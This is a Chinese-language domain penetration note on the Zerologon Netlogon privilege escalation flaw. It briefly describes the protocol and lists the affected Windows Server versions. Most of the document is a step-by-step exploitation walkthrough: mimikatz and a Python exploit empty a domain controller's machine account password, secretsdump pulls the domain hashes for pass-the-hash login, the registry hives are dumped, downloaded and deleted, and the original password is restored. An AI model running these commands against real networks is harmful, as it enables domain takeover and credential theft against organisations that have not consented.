域滲透之Zerologon域提權漏洞
組件概述
Netlogon遠程協議是一個遠程過程調用(RPC)接口,用於基於域的網絡上的用戶和計算機身份驗證。Netlogon遠程協議RPC接口還用於為備份域控制器(BDC)復制數據庫。
Netlogon遠程協議用於維護從域成員到域控制器(DC),域的DC之間以及跨域的DC之間的域關系。此RPC接口用於發現和管理這些關系。
漏洞概述
該漏洞主要是由於在使用Netlogon安全通道與域控進行連接時,由於認證協議加密部分的缺陷,導致攻擊者可以將域控管理員用戶的密碼置為空,從而進一步實現密碼hash獲取並最終獲得管理員權限。成功的利用可以實現以管理員權限登錄域控設備,並進一步控制整個域。
漏洞范圍
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server version 2004 (Server Core Installation)
Microsoft Windows Server version 1903 (Server Core Installation)
Microsoft Windows Server version 1909 (Server Core Installation)
影響Windows Server 2008R 2至Windows Server 2019的多個版本系統
漏洞復現
privilege::debug
# 檢測是否存在漏洞
lsadump::zerologon /target:<dc-ip> /account:<主機名>$
# 重置密碼
lsadump::zerologon /target:<dc-ip> /account:<主機名>$ /exploit
或使用腳本
python3 cve-2020-1472-exploit.py -n server2012 -t 10.211.55.12
-n指定域控計算機主機名
-t指定域控ip
運行exp,確定把域控機器賬戶密碼置換成空
完成后使用
python secretsdump.py 域名/ADD-DC$@192.168.11.15 -no-pass
拖hash,獲取域管hash后使用psexec等進行pth登錄
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
# 獲取文件路徑
get system.saveget sam.save
get security.save
# 刪除文件
del /f system.save
del /f sam.save
del /f security.save
解密本地憑據
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
$MACHINE.ACC:
的值,然后使用reinstall_original_pw.py
進行還原憑據
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
機器名可通過nslookup 或nbtscan等netbios掃描獲取